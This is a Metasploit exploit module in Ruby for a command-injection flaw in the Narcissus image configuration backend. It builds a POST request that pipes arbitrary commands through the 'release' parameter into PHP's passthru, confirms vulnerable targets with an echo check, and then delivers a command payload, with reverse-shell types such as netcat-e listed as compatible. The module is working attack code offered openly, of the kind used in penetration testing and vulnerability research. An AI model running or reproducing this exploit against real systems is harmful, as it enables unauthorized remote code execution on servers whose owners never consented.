##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Narcissus Image Configuration Passthru Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in Narcissus image configuration
    function.  This is due to the backend.php file not handling the $release parameter
    properly, and then passes it on to the configure_image() function.  In this
    function, the $release parameter can be used to inject system commands for
    passthru (a PHP function that's meant to be used to run a bash script by the
    vulnerable application), which allows remote code execution under the context
    of the web server.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Dun',    #Original
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     [ 'EDB', '22709' ],
     [ 'BID', '87410' ]
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x0d\x0a"
    },
   'Platform'       => ['unix', 'linux'],
   'Arch'           => ARCH_CMD,
   'Compat'         =>
    {
     'PayloadType' => 'cmd',
     'RequiredCmd' => 'generic perl ruby python bash netcat-e'
    },
   'Targets'        =>
    [
     ['Narcissus', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 14 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])
   ], self.class)
 end

 def base
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  return uri
 end

 def peer
  "#{rhost}:#{rport}"
 end

 def remote_exe(command)
  res = send_request_cgi({
   'uri'      => "#{base}backend.php",
   'method'   => 'POST',
   'encode_params' => false,
   'vars_post' => {
    'machine' => '0',
    'action'  => 'configure_image',
    'release' => "|#{command}"
   }
  })

  vprint_line(res.body) if res
  return res
 end

 def check
  sig = rand_text_alpha(rand(10) + 5)  #The string to check

  print_status("#{peer} - Looking for signature '#{sig}'...")
  res = remote_exe("echo #{sig}")

  if res and res.body =~ /#{sig}/
   print_status("#{peer} - Signature '#{sig}' found.")
   return Exploit::CheckCode::Vulnerable
  else
   print_status("#{peer} - Signature not found")
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  print_status("#{peer} - Sending malicious request...")
  remote_exe(payload.encoded)
 end

end